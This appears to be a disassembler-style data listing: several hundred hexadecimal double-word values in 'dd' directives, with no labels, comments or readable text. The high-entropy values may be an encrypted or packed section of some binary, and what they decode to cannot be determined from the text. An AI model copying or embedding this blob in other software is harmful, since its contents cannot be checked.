dd 3F0F45D8h, 0EC44FDB9h, 0B31025FEh, 79E90955h, 0EF51DCFAh
dd 595A406Bh, 0C8B70F02h, 7C028568h, 507C63A6h, 24A3225Ah
dd 532CEAD2h, 37E964Ch, 0BB150C68h, 6A415991h, 0D1D0BCF5h
dd 7072138Bh, 23CBF89h, 2FFE1316h, 4874ACB3h, 94E01810h
dd 0EAF6EEC1h, 6F654CEDh, 5B39AB2Fh, 48842F30h, 9656B7AAh
dd 88021828h, 0A96711E9h, 7A724157h, 8024748Ch, 0F9BF5706h
dd 2AD4A701h, 3BDA4D03h, 123A89B8h, 2E4B5036h, 6F1B9371h
dd 60A08ACBh, 0F789575Dh, 9AF6F9E4h, 0DE17A7F1h, 0E3858C21h
dd 700E86Fh, 0E044270Dh, 3A7B2D6Bh, 0E1D0F946h, 0F4580EBDh
dd 89D42954h, 87EC0841h, 8F469F34h, 430115E7h, 6C013BABh
dd 3E330C82h, 0EA7F469Ch, 0C30824A3h, 173A72C7h, 76038B0Bh
dd 0A5315224h, 0AE42AF52h, 6AC3D238h, 28C025C2h, 0CE8615Eh
dd 21E0E52Ch, 0BAF0E9D0h, 50533BD3h, 0F4EEF293h, 83414C56h
dd 0BD1F4D2Ch, 6F09FFABh, 5C7D531h, 0F003E985h, 845474FAh
dd 0B1E280F9h, 4A60DA14h, 0D4E09F0Ch, 0A6019DA4h, 7C4F01E9h
dd 7CBCE5FBh, 4B1ECED8h, 11CB30Bh, 84A08DAh, 4BF95B17h
dd 4EAACF10h, 5CA5E09Dh, 6851C630h, 0BE31D54Ah, 71255AE9h
dd 31D88A3Eh, 70E9D766h, 0FFEF122Ah, 6DF494Ch, 55289D4Ch
dd 0CC688590h, 0B78C500Ah, 0B0C81945h, 1C34C958h, 6841ABF9h
dd 8C3B61ACh, 0AE5D7146h, 27B39254h, 1562672Dh, 0A4486055h
dd 91C7B5F5h, 4A66583Fh, 80492ED0h, 0C0940FCBh, 59C407E3h
dd 0D364F80Ch, 35AE7384h, 32098010h, 2201A50Bh, 3051CA81h
dd 67043A0h, 447A1463h, 7909C82Dh, 65D4110Eh, 0F8407010h
dd 48B5B885h, 2C707477h, 3DA3D13Eh, 8418D48h, 9C220441h
dd 16D23168h, 6FCB8814h, 0C3536560h, 5EB3E3E1h, 19122Dh
dd 31492F2h, 0B9045113h, 0CEE40941h, 5F701BAh, 201B205Ch
dd 0D6D0E81Bh, 48784908h, 0C34D7EFDh, 3E31E04h, 2EA14D16h
dd 91B5BA3Ch, 0C54ED7B8h, 90B67E07h, 0CDDF0417h, 3F1BE576h
dd 0FEB6A705h, 612FCE82h, 2D038BF3h, 210C63A0h, 57F00119h
dd 30E44FF0h, 0E94E136Ch, 7B79A107h, 0F7EEBC92h, 0FD89A103h
dd 75480EFAh, 0DE95665Ch, 4D5B8CFFh, 249F0516h, 0B0ED5EE3h
dd 2EF95D10h, 0FEA56129h, 0BF0CB4DAh, 27ABE6D4h, 4FDE494Ah
dd 57FC5517h, 0D94AE9ACh, 77A26AC4h, 4843AED6h, 58A257E9h
dd 56B28626h, 7A76BAFFh, 927B966h, 4CC6B8CCh, 12F83EBEh
dd 0A3C08259h, 5197D9BBh, 1974A6B4h, 0B8532B11h, 921A837Eh
dd 0DBA686Bh, 5582E90Bh, 63B77B36h, 0BAF047D6h, 0EFBE95FFh
dd 0EA030B82h, 58B1747Bh, 0C09FE188h, 806680E9h, 2900A02Dh
dd 0AB353F28h, 2E6DB224h, 93DD8F7h, 905F065h, 4BCEB899h
dd 8BA52CBCh, 0FC8B250Dh, 8CE9E2E4h, 0D297DAF8h, 6D5C9506h
dd 0ED00E424h, 5A09DF0Eh, 1330AC57h, 4BCAD7E9h, 46D9D18Dh
dd 70ED6861h, 0BC4B5C33h, 2BAFA561h, 8F4F12CEh, 11882BF2h
dd 0F7DADB42h, 3ADCC516h, 68AD0A60h, 64840BF5h, 81D5FABBh
dd 0A992F82h, 82400CFAh, 0D28BE8D3h, 577A4A62h, 3E32CD69h
dd 0C6834200h, 98F38701h, 16A23A20h, 29124848h, 89AAD1C0h
dd 56AF04BCh, 2D983002h, 0CA2E1F92h, 6B03435h, 9698E906h
dd 816601D4h, 2074CDE6h, 0D19FCF53h, 829CA88h, 680595B7h
dd 2F23646h, 1C8D12D3h, 6BAB2482h, 295C2277h, 0FD6077F1h
dd 842F6A91h, 0C56F5834h, 16E98106h, 978C080Bh, 37783E30h
dd 0B82C50DFh, 4FF5026Eh, 6D58E90Dh, 5E6854B0h, 17A6565Bh
dd 8966ED97h, 955A1ADh, 0FE705FF9h, 0E23EFF84h, 59CF8448h
dd 0DC306399h, 0F7583A23h, 1792814Ah, 0D579ED69h, 56B3CE1h
dd 0DB73EC64h, 2900C1BAh, 99EE05C7h, 0D6E6C230h, 4050310Dh
dd 93B962Eh, 902147B8h, 72C4A3Ch, 6DFB1A61h, 170FC530h
dd 0E18F4C34h, 43C8618Eh, 0D8101A3Ch, 0E05B8998h, 6A40D9A1h
dd 0F67E07B3h, 46D386DBh, 0C00108DAh, 0CBFE03EBh, 8F87ABE9h
dd 0C488EAB5h, 165BEC66h, 0DBB285Bh, 0E0200846h, 2D04F801h
dd 479C021Dh, 523DC4ABh, 128AAE90h, 0D40B10h, 0EEC001B6h
dd 6BE68006h, 0DB760D24h, 0F6C7EC9Eh, 0A12B88F4h, 4FBAE91Fh
dd 0C2108E39h, 9231359Dh, 4D35CB80h, 683D3867h, 0C380ECDAh
dd 9019BDB8h, 0B934E902h, 0C3C10002h, 496589CBh, 1A100EC3h
dd 0CA01C0F7h, 924127E9h, 0C6D5CB18h, 1315BA80h, 2058432h
dd 0EFC15A58h, 0B3EE05D7h, 836014CDh, 1518B551h, 0E983DFCFh
dd 952E49D4h, 0EA71041Fh, 1714B3C2h, 1FE8575Ch, 0BCC843A2h
dd 0E1B0F121h, 0F234A0B7h, 4AC80FE1h, 0A1B58503h, 73B3E51Dh
dd 9D317816h, 52EB759Fh, 53F2982Ah, 0F19B7B6Eh, 0FC5BBE52h
dd 0D75C85ABh, 0AFD6A0A9h, 2FE9B971h, 13A6D65h, 0FA4B97F0h
dd 0C6F06A7Bh, 0C36604DDh, 0B8E9C130h, 79940629h, 40C6D62h
dd 5FF460E5h, 0E82C8121h, 92983E99h, 1C5944C2h, 8605B880h
dd 0E915CEACh, 84C56FF2h, 4017D67Bh, 1AE222FBh, 0FD5A01A0h
dd 218995ADh, 854895FCh, 555F5C84h, 3D9BB0C0h, 7A4D7677h
dd 893FF35Dh, 0E948891Ch, 3A97F17h, 970970C1h, 25BEAF06h
dd 0A32C8049h, 5913DE34h, 44E9D301h, 7C760BE5h, 83DC696Bh
dd 0BFD92017h, 37393AACh, 29F6CC3Ah, 0A10A1F9Eh, 0DB47FC4Bh
dd 0C5BEF304h, 921EEF1Ah, 0F116F5DBh, 0B1F55A59h, 7C1688Ch
dd 0FE76C606h, 705F0ACBh, 0B168127Ch, 0B0AC3078h, 0C316282Bh
dd 114E93E9h, 0F079C94Fh, 0DC5B750h, 5BE6A5C9h, 0D1EC0DAAh
dd 0C42C301Fh, 130327F7h, 4DCC7977h, 6F6541C2h, 4828D204h
dd 18A5580Fh, 8FCDBA8Dh, 4C6704A0h, 8B125F17h, 0E92BD00Ch
dd 0E7AAA823h, 678522F7h, 403B74B9h, 73A76852h, 0E0036E2Fh
dd 25429B5h, 0DAF759B9h, 5B70B8E9h, 0F4B852B7h, 0C1EE7A0Bh
dd 4B3EC40Ch, 81802E13h, 4FAD1F0h, 63F05BDh, 0D09EC221h
dd 1E08DE88h, 0A46FE4E9h, 5E783DC6h, 2ADBA5A2h, 0A82C17A1h
dd 60C314D9h, 1B7CEBD7h, 0C0B70F02h, 59318068h, 0A0219CD9h
dd 7A3E9490h, 31270C11h, 9DC296DFh, 2D5E1ABh, 0C5ED1274h
dd 434827A4h, 788262B8h
dd 86AA2771h, 69A3A9EEh, 2C773F13h, 13471E08h, 0DD76085Fh
dd 1751B53Dh, 68C276E8h, 30460E7Fh, 845B81CFh, 69BF3EC4h
dd 0D3E23000h, 3509ABF8h, 319236E9h, 9BE8551Ch, 1579C858h
dd 0DDCD358Fh, 68FFD3D4h, 4582D115h, 8B37D146h, 6027FD8Ch
dd 0C4686429h, 10CDB329h, 563F858Bh, 0CC135716h, 60406949h
dd 366617B9h, 0EFCD04D2h, 3BB1695h, 0C97EB7EEh, 984A7ADAh
dd 30B5B47Fh, 0F239AAD2h, 0E83060C6h, 7D0AA30h, 0C626078h
dd 0CE70135Dh, 4B4B8959h, 0E0CE3AB5h, 2CFABFAEh, 0B05A1B2Eh
dd 0C0318230h, 30FB29FEh, 7625D4A0h, 4AC77827h, 6123BAE2h
dd 0AF82F4B3h, 179CC65Bh, 0BADBB8F3h, 97C38B5Fh, 0F8267004h
dd 25184BF1h, 9954EE7Eh, 0CBD8F70Bh, 867806EBh, 0CC4C8E05h
dd 6372770Bh, 0F0AFD775h, 4E36053Ch, 0ED06A17Bh, 0C2CC489Ch
dd 957A9C84h, 3500A703h, 6FAA78A9h, 0F6A1C529h, 0D1AA05D9h
dd 7D02473h, 34C4DAF4h, 7FA293C4h, 51276882h, 3518187Dh
dd 4B650E01h, 4209DABAh, 27B49808h, 0BD0876E9h, 0AB03240Bh
dd 0AC6D3800h, 4B4EE945h, 0DEC2E8B4h, 6686714Bh, 55C3B053h
dd 2630EB22h, 1B3F0381h, 5FFA3126h, 0DE95509h, 427948FCh
dd 767A245Ah, 0D431A1Eh, 531686F6h, 0B9E08C93h, 0B73B4A2Ch
dd 4B327B72h, 0E02981EBh, 95D6386Fh, 4EE55E76h, 0BC4E34ACh
dd 0C9BBB45Ah, 0C2045472h, 0C340C762h, 0F0174340h, 30AA5841h
dd 0D563E919h, 1D4FBE9Ch, 5C5209EDh, 1AB09CDh, 0BFAD34D7h
dd 0C26884BAh, 37003FB4h, 0C68503Eh, 7235B34Dh, 7EC30058h
dd 78057323h, 37C8909h, 2F00CB78h, 0EDC2D1Ah, 2AE911FFh
dd 4E705491h, 0F551EC5Bh, 5D3D782h, 1E12C531h, 6FAF9D25h
dd 3963A0C8h, 0A4C0493Dh, 0F44952DAh, 80630AFh, 0E6048146h
dd 16010D2Ch, 0CC3B0BBh, 2BF60969h, 0CD0B74E3h, 12313F12h
dd 2B5FE9h, 8E22BAA7h, 40B72AD2h, 8249F894h, 0D9A01B55h
dd 0CC5270CBh, 446A6029h, 6A2881F6h, 64528A4Fh, 4499958Ah
dd 0B32FD271h, 53DA84A7h, 0FBD63FBDh, 50682560h, 0A6CC9B14h
dd 5F4A10CBh, 77F73AC0h, 0E4684E4Ch, 0E7905A6Bh, 5F0CEB50h
dd 6B0CD1FDh, 2128D8E6h, 0BD3C1EE1h, 9A20092h, 3BE9DD31h
dd 68C14D66h, 0F37025A7h, 13EF46Ch, 51B114EAh, 0C5878EF6h
dd 4CB1FC68h, 0B5BC6460h, 6CF4A64Ch, 1A731B26h, 7CC0819Ch
dd 295C3713h, 837390CFh, 171C4108h, 0F0ACFC2Eh, 9E322068h
dd 85C5DA34h, 0C8D0E905h, 86929495h, 27CE5EA0h, 6F35C253h
dd 0D0457281h, 601FB504h, 0B74BF09Ah, 3C8467A2h, 60C10B7Ch
dd 0BED5ADAEh, 1252CB9Ah, 1F4A9890h, 4CAD421Eh, 32574ADCh
dd 6F0289F9h, 0DEE6558Dh, 139B3DE9h, 2DAFBF15h, 7C0CA533h
dd 0C1E9E22Eh, 0C5BE13F0h, 1D253C7h, 686499h, 7A591BB8h
dd 239EE181h, 0FD13Bh, 70552AC9h, 5B196830h, 53CB356h
dd 3A7157B6h, 3F865280h, 29481640h, 86310F1h, 0CB70A44Ah
dd 0F5F8BA41h, 0D3BB1ED0h, 0DBBDC976h, 11ECFB10h, 5001E21Fh
dd 3787C712h, 0E5A2D574h, 9E6F5597h, 96099F90h, 8A57FD76h
dd 0A0008F49h, 4A4F4871h, 0C5C54FE9h, 0CD8FBF12h, 5D42B810h
dd 7740100Bh, 4B696E50h, 0F7B5CC01h, 29097692h, 45A5DE8h
dd 0BD004902h, 0D916083h, 7C14B87Eh, 25D74104h, 2CDDAC5Eh
dd 0A20183E4h, 6B22498Fh, 0DA40D2F7h, 0B066C51h, 0C0CE8175h
dd 501DA181h, 71A06053h, 805DB8A2h, 834538B2h, 0CE01BD90h
dd 3B58C629h, 7E28E6F1h, 7E1C87E1h, 3C8C0CB3h, 1A06B6F9h
dd 0FEFCCE80h, 83EE507Ch, 4D0A88Ch, 0FC884F44h, 42C22F74h
dd 0DAF157D9h, 0F961243h, 59EA2C1Ch, 41545806h, 14253C7Fh
dd 4B174EE0h, 5883EC5Bh, 6BE6B41Ah, 0BCD9610h, 70C5CB80h
dd 4964F673h, 5B3B84E5h, 0ADFD3592h, 22920483h, 408839DDh
dd 8104EB7Dh, 14442889h, 0AA909ED2h, 0CD004382h, 0C10CF67Bh
dd 25074CEDh, 2F7F2502h, 3363D12Bh, 0FEC89DD8h, 0A2EDF74Fh
dd 67F131C9h, 0FB56820Bh, 0FA0509D9h, 415CDC98h, 1B7D123Eh
dd 8218449Ch, 97667CBh, 0C880C328h, 0BEE90B5Dh, 0A627535Eh
dd 69B0ED85h, 3180FAB1h, 980635C3h, 0A5E12B28h, 0EDB652D4h
dd 0B0241036h, 86B0199h, 3AC4E9C6h, 0FC25A700h, 7C39D412h
dd 3A14EA35h, 30DC8921h, 0AC7F4485h, 0CBBBA483h, 2EFE242Fh
dd 77410E42h, 0BA9EF5E6h, 12AD6EADh, 0EAD110E9h, 5C455830h
dd 20A798D6h, 2D3A6EC3h, 1228080h, 994A4C05h, 0B6D8BF2Fh
dd 10E50783h, 0D13C111h, 0F89E369h, 0A0702535h, 56DDF75Dh
dd 87E74EE9h, 22F1E054h, 0E5907F05h, 7E94E627h, 0FBE9D8F6h
dd 7F4ECE4Eh, 0C0D94980h, 0FEB8F17Eh, 24489E1Dh, 96A72863h
dd 0C086889Ah, 213CBB01h, 20E84792h, 0C66DC0CAh, 6897C00Ah
dd 0ABBDE8F6h, 3B1CF3A6h, 0E96AD34Eh, 4FC52E5h, 68122Fh
dd 0B25217B0h, 0F28018A5h, 502B0669h, 40903EF8h, 2236CE50h
dd 4AA97C07h, 67D5F789h, 3BBFD0F0h, 4CA54FB7h, 0AE0D362h
dd 504A8571h, 0A0C99C87h, 24E9F034h, 0A8FC9EE4h, 2F55909Ch
dd 70D92F1Bh, 760F8B01h, 953A21DAh, 112CEEC9h, 84F75DB6h
dd 0E91637A6h, 0E9A2DDA4h, 1271564Ch, 0AB7A925Fh, 0AC52780Ch
dd 0C1371CDFh, 7EF8C7Bh, 9ECB0806h, 4D9C84D1h, 485CB4BCh
dd 3A5DAEB1h, 257963A3h, 0A97C6EF8h, 7CC35F64h, 0CA4302A9h
dd 1EA623C7h, 2FD5C3F7h, 14505207h, 8169BF91h, 0FC119EBBh
dd 0FBED3E81h, 615FB572h, 890A06Fh, 0FE4A7880h, 0B3BA949Fh
dd 0AB582510h, 29258499h, 5A9AE8B2h, 0D9575A29h, 0ECC62047h
dd 5EFAF283h, 806C08FAh, 762A5A30h, 0E89FA1B0h, 0F289807Fh
dd 42000E53h, 0B2E5814Dh, 0DB1DC458h, 9DE0BAC0h, 0CDAA23E9h
dd 0F134A65Ah, 0F6F865F5h, 7672E706h, 80ECCA10h, 77511770h
dd 6F12AC9h, 0D6A1AD47h, 3B21AF6Bh, 5168429h, 8239B8EEh
dd 7CE3306Fh, 9DC253D4h, 6842F176h, 0F4755095h, 0D6A454C6h
dd 7DD90CCFh, 0D6E66E9Dh, 6B092D00h, 84591925h, 4F0CC30h
dd 41FC0506h, 7D1D4Ch, 0D960C835h, 676BE94Fh, 8FE6169h
dd 0F2F9DF9Ah, 29A90AC6h, 2F50525h, 2716736Ah, 3447E8C0h
dd 712F33Eh, 0F74187F6h, 138075E9h, 43B47175h, 3F010CC2h
dd 9C470DAh, 58A602F0h, 0EA14147Ch, 7CE91308h, 62D49CB1h
dd 430ACE3Eh, 0D2E10B33h, 73F96D9Bh, 0BCDA2AE7h, 13E0AF10h
dd 0CA16FB29h, 0BD3C50FAh, 98AAF84h, 42618591h, 202D3DFEh
dd 14905EBEh, 0AC65A60Eh, 57E9C21Ch, 6BB95678h, 0E5F016F5h
dd 0FF6B253Ah, 0DDEBB484h, 11A06BE1h, 4077BCDFh, 90B030Ch
dd 59CA2117h, 0BB539701h, 97EF0105h, 59A95739h, 0A93DE102h
dd 0D3625D07h, 4BBCB6Bh, 56072DAAh, 1421EE20h, 0B453558h
dd 0D0CDF204h, 0C5FF98FAh, 0A4E1C59Dh, 0BC7B131Ah, 59BD93BEh
dd 0ACF9E126h, 4E3D102Ah, 0B0885781h, 0B1F7E781h, 0ED70F257h
dd 2718389Fh, 260ED959h, 6C930BF6h, 6B46A8D4h, 1B1B64Bh
dd 59E37EC7h, 0BE91F43Bh, 82341AC9h, 2ED0A9C9h, 65153580h
dd 5024182h, 44EEAD1Ah, 0F8EAFD89h, 9F13CDC1h, 4ABC28C1h
dd 4BCC5FEAh, 6359522Ch, 0B21837EAh, 1658CDCBh, 0FC425662h
dd 0C611F81h, 854D1AC9h, 0FBC9C36h, 6B4FB8A1h, 0C8002325h
dd 5E131C48h, 24D50025h, 19052C47h, 21751D74h, 0A107B12h
dd 368A92BFh, 0FE2D84DEh, 0CBE9F08Ah, 8004A3B6h, 93FC2AEEh
dd 3F5EBC4Ah, 0E549F1D6h
dd 53BB12E8h, 0AFA5B5FDh, 0A92F122Dh, 18E9C320h, 0C36F2F6Ch
dd 0A8BE2585h, 0E109A54Bh, 0E13EF08Dh, 65AC014Ah, 6139803h
dd 0A114765Bh, 8888A16h, 0E10C9AA1h, 623720A2h, 0B8B3087Ah
dd 34BC402h, 281027E8h, 991072C1h, 3AF318B4h, 805B8118h
dd 10C612CBh, 20082C78h, 2A312FC2h, 61C620BEh, 0AF160888h
dd 0DFD7208h, 21285445h, 946998EDh, 0C48E8D08h, 403D220h
dd 0EE067C49h, 0CC3118C3h, 554C0896h, 31D9189Ch, 90815708h
dd 0C3188B99h, 0E2BE087Ch, 0C49BB880h, 4AEA620h, 0D11D4F6Ah
dd 206C209Fh, 920B037h, 222C3352h, 8FECA18h, 8C6A790h
dd 0FA20F027h, 8849CCFAh, 0B1FDFD18h, 0C2165189h, 8C0E7301h
dd 81D2F10h, 2391C68Eh, 0E3200863h, 5E7A316Dh, 8C644F30h
dd 89BC3608h, 49188B18h, 65186C8Bh, 0DE08C4F5h, 0D225049Ah
dd 282BD006h, 88DBE32h, 0F4B8A226h, 0C80D0B71h, 175F128h
dd 10BD90F1h, 0BF088533h, 0A3218C6h, 36451ADh, 1018948Ch
dd 0E08ED1Ch, 4318CA1Eh, 1FA0BBB4h, 20D08620h, 77207650h
dd 791620F1h, 49FC9420h, 0DF1050A1h, 9F81017h, 10CD0C10h
dd 5824A5DBh, 89E8830h, 0CDFFA08h, 1F1074C8h, 797E51CDh
dd 30429165h, 963E0344h, 206BE920h, 3C20FD39h, 66C1314Ah
dd 98F2F608h, 76C94418h, 0AB7F80DDh, 80CBCA80h, 8C66AFEh
dd 2A283F3Eh, 0A8B87301h, 805AD5BCh, 10C97822h, 31882333h
dd 0CA187353h, 89CC6881h, 0B0267497h, 0B0AB59D3h, 8248FF3h
dd 5E8910BCh, 8C2C2859h, 866528Ch, 188463ADh, 8326FF3h
dd 0A341D92Eh, 542385A8h, 40121809h, 41C61053h, 2008F75Eh
dd 90624A34h, 28A1E89h, 1A06C251h, 806C7169h, 85898AB1h
dd 0E119A003h, 6D919884h, 99E73898h, 10C6E8E1h, 620884BBh
dd 0D7C5815Ah, 0FC448D05h, 57049D43h, 48220602h, 45A82010h
dd 4DEA9020h, 82100C9Fh, 41713186h, 0E1AA7A3Dh, 70BD4D9Ch
dd 106F4610h, 4D100BE3h, 0D66D105Dh, 0FC9C6004h, 5FA4C8E8h
dd 0A8EF810Ch, 0BC8B1E47h, 44C00CDDh, 6CB03B10h, 0EB02751Eh
dd 0B90E8918h, 0AE3DDEA7h, 8F440063h, 0C90B4940h, 8BF77507h
dd 811E2474h, 0B9F003DEh, 33FF476Ah, 0B10F80C0h, 2CCB304Fh
dd 8006DBACh, 0A3B25250h, 819D87E9h, 6E7C1D1h, 5A75A681h
dd 704776B8h, 65184846h, 0E90C6C16h, 0E61E3AEDh, 36A9C31Ah
dd 0F166A0DFh, 7EBC6B8Bh, 4830321Ah, 18FF668Ch, 86BF5746h
dd 48CAED00h, 22E96039h, 82D48211h, 10F43500h, 2F58C501h
dd 0BB5B048Bh, 8912E997h, 4918AEE3h, 4DB9701Eh, 5264601Eh
dd 54CDDE8Ch, 6B35B85Eh, 0A0590CC8h, 85E3E56Fh, 51BDDA3h
dd 59A04E07h, 534F223Ch, 0C550E10Fh, 0FC9031DCh, 0B0C0FCB2h
dd 0C2801CF6h, 893BFB6Dh, 2892F238h, 2FACCDD3h, 36E3E605h
dd 7603CFFBh, 3B5C608Eh, 0F412EA05h, 0F0016E0Ah, 5A2F072Dh
dd 69D9B551h, 92208D78h, 80C5390Fh, 458EC07h, 0C3E80552h
dd 50B059E6h, 530839B4h, 92DE12E9h, 5CCABBC3h, 0EBDB2C12h
dd 0E909801Dh, 749BD86Fh, 0D2661EBFh, 49FE9246h, 145D332Ah
dd 36681203h, 0B23F305h, 0C8012AB0h, 0B951D5h, 2D7D58C0h
dd 0FF8CB168h, 295D6D0Bh, 605579CDh, 1608C7E5h, 0F234E9FAh
dd 14BF1665h, 5F05289Eh, 67F1420h, 68518BDFh, 82AD6895h
dd 7768B73Ah, 0C2F774Ch, 7F65868h, 0BE56D3F7h, 5AA101Dh
dd 5E5FF309h, 52C090A8h, 0BB75D6BAh, 48D1504Ah, 9DCC8104h
dd 64912F3Ch, 0D9028870h, 0E94BA91Ch, 0CEE6FD86h, 0DDBB5301h
dd 5518F44Dh, 0B79502FCh, 0F79E9994h, 6BF76885h, 0BF9DFEEh
dd 0FD7B07E9h, 0D1D1EBB3h, 40B6AD47h, 38C3C718h, 8261292Ch
dd 20D51343h, 0FAA93A11h, 7EFC2A01h, 0C6E5A2B5h, 281C26D8h
dd 14975F5Bh, 0D06E4A29h, 3FF9F600h, 0DEF70FD5h, 0F644589Fh
dd 275001C6h, 0F0E93E29h, 33E66A4Ch, 0F351C812h, 78F22D98h
dd 997BBFC8h, 0D594DF4Bh, 0AE6145FCh, 0F6B681Ch, 5324C539h
dd 3F1B6F47h, 5556BF85h, 20E796E0h, 9C88924Dh, 84822704h
dd 53E202F3h, 74266882h, 0ED60C674h, 1C2831B3h, 0C48058C3h
dd 0AEDA085Ah, 55C75398h, 41DAB460h, 8BADEE7Dh, 79BD45C6h
dd 9A60A598h, 54FDE0E9h, 5CB50187h, 6A3CD57Bh, 462D4900h
dd 28D943h, 5237BD55h, 0F58133CCh, 0DE5D740Ch, 72D70C62h
dd 2B7C6Ah, 8A4E5FC5h, 924CE917h, 5809ACA4h, 86147034h
dd 0B716DCA9h, 0F895BE14h, 0E9C2132Ch, 806484D2h, 0D4F6CF1Ch
dd 14EC801Ch, 0C1D7C4CEh, 0E130DCF4h, 0C05EE236h, 0DA6CE94Ah
dd 0B56E5B5h, 96DA4B48h, 0BF141928h, 7D0D26A0h, 0C64D030h
dd 7231A4B5h, 5EF112AFh, 7ECEA151h, 0BEC1BAF2h, 60BB0DD8h
dd 94409707h, 80354CB4h, 0E53A6138h, 6683EDBAh, 38B75358h
dd 4577FD82h, 0EC28012Eh, 2AE23059h, 5FC37CDCh, 2FCD9D3Ch
dd 596C6ED8h, 26766DF6h, 53D1AC84h, 9FD40DD9h, 0CD01450Ah
dd 306036DCh, 7A4BA12Fh, 0A5461EA7h, 3AAD680Ch, 0DE92B045h
dd 0A833C597h, 0AFE0909h, 1D006E41h, 9277063h, 19F92EE3h
dd 45B95516h, 904FDFE6h, 15B3D8FBh, 2847EF3h, 42DB81BFh
dd 4CE6BCCh, 7C30314Ch, 2A39F6DFh, 0C8361F25h, 7A60FBBh
dd 216887F2h, 89090E28h, 9672AB54h, 948B038h, 7FAF4221h
dd 882787Ah, 0C67F8832h, 5589B59Ch, 41A11CF7h, 2E79208Fh
dd 5B314C48h, 20688FB0h, 7AFA3133h, 183DFEBEh, 8B155AFBh
dd 0B12EC03Ah, 0F7B05018h, 19D8F63Eh, 2122D043h, 0FB18216Eh
dd 5DE26F4Ch, 3DA55F8Fh, 0F0805296h, 864E368Dh, 3E663AE6h
dd 0D916355Fh, 2CFE895Bh, 1C022DF0h, 21D8CCE2h, 80A496C7h
dd 6910D1E1h, 257F90B7h, 0B6C75499h, 52B3B1E9h, 0FBAB424h
dd 10B40BA0h, 0B87C1845h, 8701C823h, 395D5255h, 554509FFh
dd 1427B9E7h, 859B978Ah, 3D2D1805h, 0C2FE6928h, 881EA67h
dd 934A8EE9h, 45E8296Eh, 0B8235505h, 5496057Ch, 4B31BA74h
dd 43023F94h, 421400FDh, 0C06BB410h, 0C06A8A38h, 0DF480139h
dd 2908407Bh, 0B532F748h, 2551FA2Ch, 65C20BE9h, 85A74C7Fh
dd 0D8308EC6h, 0E908C34Ch, 0C2D72FEEh, 0D7C4B7A2h, 0D09B9306h
dd 9605CCB9h, 0A3EC582Ah, 0FC404D2h, 0C0D88437h, 0C4628D7Ch
dd 0F9016F1Fh, 9042A649h, 0E8AA878Bh, 26057DA2h, 8E79B52h
dd 0D11D4C64h, 18E103BFh, 0B33AD83Bh, 0A667C0F1h, 0CD891C36h
dd 5DE8CB59h, 38F61B58h, 0DE9C6BEBh, 80C35589h, 0D8DA4E7Bh
dd 61F8E8A9h, 7F159B02h, 0C0CB8171h, 122E2C4Ah, 408D5DE9h
dd 85357E68h, 61756837h, 3DF59897h, 0B866EA60h, 64B800DDh
dd 0C583328Fh, 9376E9FFh, 0E80B7092h, 5211ED67h, 0A5ED9713h
dd 2BEFE984h, 9F109A95h, 0CE4009Ch, 1B6816AAh, 602EBC3Ah
dd 31DB081Ah, 2ABA26C1h, 0B6213EECh, 807BD04h, 99F015Bh
dd 2FA8D6DAh, 677C3D89h, 61A05F5Ah, 1B7E7D95h, 0F5440125h
dd 0C04C092h, 0DB0FC858h, 4AFAAA59h, 0EF9C70FAh, 225C3193h
dd 5CD72CD9h, 0AF6D361Dh, 52320725h, 0F4657709h, 0B744362Dh
dd 5DA797DBh, 0D2202AB0h, 0D9C235C0h, 0B86CD770h, 0ECCF5A9Bh
dd 349A170h, 30789A23h, 0C63D3334h, 473D1B01h, 2CE59913h
dd 0CAD853B8h, 62F920Bh, 63083FEBh, 8C760C59h, 2904A40Ah
dd 820EDCBh, 71140CD0h, 8033012Eh, 92A9381Eh, 64A88C03h
dd 0ACFEDADAh, 0B753CD90h, 0E21651C7h, 68ADB241h, 47266BA9h
dd 295D6C05h, 20FEB01h
dd 5E25707Eh, 1EEB315Fh, 0AF8A856Fh, 0B42E9D29h, 0C29F4AD4h
dd 0DB9DD7E2h, 0E6684625h, 19B09FE6h, 43B2D72Dh, 3E269F25h
dd 826839FEh, 66013B62h, 98EED509h, 125159FCh, 74F23B99h
dd 31CDBAD3h, 296F25E9h, 5EB23A33h, 6A20944Ch, 12C9599Fh
dd 0EB3CC429h, 9CD87EF7h, 203B0D3Bh, 0F0C50201h, 5F70C128h
dd 0C0F41503h, 0AFB47D13h, 200304AAh, 0F007FEF9h, 76A971C1h
dd 0DEE985BCh, 34DDEA2Fh, 0D3B1E32Eh, 71B631ABh, 0D03000F7h
dd 3E51FA5Ah, 5C192BB1h, 28F7EFCAh, 0C648DFCCh, 6BB801D6h
dd 2E3D7556h, 0DD5F8BC2h, 96E6FD82h, 0A256657h, 3DF42148h
dd 0CB3514A8h, 0CA4FC780h, 83BFC81Ah, 57218DAh, 6FC3801Ah
dd 530C266h, 3A30EB5Eh, 0B5014BAFh, 93CF3871h, 0F44531A6h
dd 18F1F6F0h, 5B9B96E9h, 2C1474EDh, 74F528E7h, 0F2084799h
dd 98471807h, 32FA1DA7h, 1AFB313Fh, 7D1CB69Ch, 75276D4Fh
dd 6DA5DBA7h, 65B37E14h, 4CCAB84Bh, 6F260571h, 0AE8105EEh
dd 3400F42Ch, 481D0C28h, 0C0AE1F04h, 531C3028h, 0D880D388h
dd 0C7305A5Bh, 0EE32A066h, 0D9F680B2h, 0B7535000h, 73EF8040h
dd 0F7FC4888h, 622D6A13h, 15020C5Ch, 35DE09F2h, 0D6515F07h
dd 85C2DE2Eh, 7FC14B7Dh, 97747742h, 0E80C5C24h, 0CE2FF96h
dd 3A383921h, 4801090Ch, 0E94A5B57h, 249E50E7h, 892D8258h
dd 0E115A2h, 1DA4F8C6h, 78D93BEBh, 0D447F37Ah, 72A28930h
dd 4E98ECCFh, 0DD7DB875h, 0FE1D0927h, 0CBFE250Ch, 0D088E3E0h
dd 0FB9598EBh, 4222E604h, 8A8E18F8h, 0CEFA3147h, 52CFD706h
dd 1F3D8516h, 0AB8FA583h, 0A9E959E1h, 55C89D39h, 0D519FB8Eh
dd 40893A4Ah, 0B2A5512Ch, 685CBF82h, 0BBC657BCh, 14B6520Fh
dd 21BD8951h, 0DD6FE9D6h, 0B6E72399h, 2E99BCBAh, 0E05BD2F0h
dd 0E84B5905h, 8E03CC1h, 67743501h, 2D5C94E9h, 5BDFC44Bh
dd 0F32F35CDh, 9F9C5C8h, 0BE856721h, 34F155C2h, 58E81DB4h
dd 22F55785h, 6DC4D6D1h, 0B6C1EF07h, 0DCB42584h, 0F7BA8394h
dd 3DA079E7h, 0C0822C77h, 9A05AAh, 2D391314h, 2123DC4h
dd 58BFBEB8h, 4F0D3B83h, 85DE1D27h, 0FB1BCD43h, 7DC0330Fh
